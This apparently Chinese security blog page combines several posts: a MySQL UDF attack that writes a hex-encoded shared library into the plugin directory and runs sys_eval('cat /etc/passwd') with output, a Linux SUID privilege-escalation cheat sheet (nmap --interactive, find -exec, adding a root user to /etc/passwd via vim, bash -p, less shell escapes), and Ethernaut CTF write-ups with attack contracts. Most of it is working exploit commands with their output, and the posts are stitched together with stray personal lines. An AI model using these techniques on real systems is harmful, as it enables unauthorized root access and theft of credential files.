665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400

set @a=unhex('7F454C46020101000000000...');
# Query OK, 0 row affected (0.001 sec)

select @a into dumpfile '/usr/lib64/mysql/plugin/mysql-udf.so';
# Query OK, 1 row affected (0.001 sec)

select * from mysql.func;
/*
+----------+-----+--------------+----------+
| name | ret | dl | type |
+----------+-----+--------------+----------+
| sys_eval | 0 | mysql-udf.so | function |
+----------+-----+--------------+----------+
*/

select sys_eval('cat /etc/passwd');
/*
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
mysql:x:999:999::/var/lib/mysql:/bin/bash
*/

问题

似乎没有提权?

1
2
3
4
select sys_eval('cat /etc/shadow');
/*

*/

这里环境选取的是 docker-mysql 一个镜像,默认数据库的用户是 mysql 没有完全的 root 权限,故而没有达到提权的作用;

不过结合 SSRF 可以 RCE,具体还是看 whoami 的结果;

Linux suid

执行 ls -l 命令时,会有一个 10 位数的形如:

-rwsrwsrwx

的字符串,从第二位开始,每 3 位分别代表文件所有者、组用户、其他用户对于该文件的读、写、执行权限;

s 意为 suid,如所有者 / 所属组执行权限为 x 即代表此文件在执行时其进程会以文件所有者 / 所属组的身份运行;

Set owner User ID up on execution

顾名思义,程序运行时使用所属者的权限;

例如 passwd 命令,用于修改用户密码,此时修改 /etc/passwd & /etc/shadow,需要 root 权限,这里就要用 suid 机制进行授权;

提权步骤

查找 SUID 文件

使用以下命令:

1
2
3
4
5
6
# 查找 root suid
find / -user root -perm -4000 -print 2>/dev/null
# 查找 root suid 并以长格式列出
find / -user root -perm -4000 -exec ls -ldb {} ;
# 查找所有 suid
find / -perm -u=s -type f 2>/dev/null

可利用程序

nmap

要求版本在 2.02-5.21

1
2
3
4
nmap --interactive
!sh
whoami
# root
find

find 可以执行命令;

1
2
3
touch middle
find middle -exec whoami ;
# root
vim/vi
1
openssl passwd -1 –salt abc 123456

这会生成一个散列值,可以利用 suid vim 在 /etc/passwd 中添加如下行:

1
hack:$1$abc$hash:0:0:root:/hack:/bin/bash

就成功添加了一个 root 用户可以用;

还有一种直接拿 shell:

1
2
3
4
vim.tiny
# Press ESC key
set shell=/bin/sh
shell
bash
1
2
3
bash -p
whoami
# root
less/more
1
2
less /etc/passwd
!/bin/sh
python/perl/ruby/lua/php/etc

root 身份写各自语言的代码执行;

cp

覆盖 /etc/passwd ,和 vim 相同;

mv

覆盖 /etc/passwd ,和 vim 相同;

后记

suid 没有做复现,这两天过于忙,有时间补充;

区块链学习之叁

损耗送:纵欲也是修行的一种,水木之气先行;

ethernaut - Gatekeeper Two

description

1
2
3
4
5
6
// This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

// Things that might help:
// Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
// The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
// The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

直接看gateTwo()

乍一看gateOne()gateTwo()好像冲突,因为gateOne()要求用第三方合约调用函数,而gateTwo()要求caller()(等价于msg.sender)没有代码;

只有不存在的合约和钱包合约是没有代码的;

然而,在合约构造函数执行过程中,caller()是还没有被部署到目标 block 上的,此时调用extcodesize(caller())就可以得到0,因此可以在构造函数中调用enter()成功绕过gateTwo()

再看gateThree(),一个异或,能 pass 的_gatekey值应当是:

1
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwoAttack {
constructor(address _victim) {
bytes8 gatekey;
gatekey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
_victim.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
}

}

部署即可;

ethernaut - Naught Coin

description

1
2
3
4
5
6
// NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

// Things that might help

// The ERC20 Spec
// The OpenZeppelin codebase

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

ERC20 标准定义了以上合约;

lockTokens() 这个 modifer 决定自合约被部署的开始往后十年内,transfer 函数对 player 禁用;

查看 ERC20 ,发现可以用另外一个函数transferFrom()进行转账操作,看一下这个函数有哪些限制:

part of ERC20 source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}

// 消耗 Allowance , Allowance 是什么 ?
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}

// 查询 allowances ,猜测 allowances 是 owner 给 spender 的额度?
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}

// 定义
mapping(address account => mapping(address spender => uint256)) private _allowances;

// 可以修改 _allowances ,看看对外函数
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}

// 猜测正确
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}


// 执行转账,更新余额
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}

所以可以先用playerapprove()把所有额度给第三个合约,然后再用第三方合约调transferFrom()balance()悉数转出去;

题解

approve

1
2
// 注意这个控制台操作传字符串,大数 js 处理不动
await contract.approve('0x142bB6fE56436bcB1DA7788AceB35b34899ea3C2','1000000000000000000000000')

attack contract (0x142bB6fE56436bcB1DA7788AceB35b34899ea3C2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract NaughtCoinAttack{
address private player;
address private instant;

event log(bool);

constructor(address _player,address _instant) {
player = _player;
instant = _instant;
}

function exp() public {
bytes memory data;
(, data)=instant.call(abi.encodeWithSignature("balanceOf(address)",player));
uint256 balance = abi.decode(data, (uint256));
(bool success, ) = instant.call(abi.encodeWithSignature("transferFrom(address, address, uint256)", player, address(this), balance));
emit log(success);
}
}

只肖数日便忘掉了人生的所有伤痛,就好像它们未曾来过。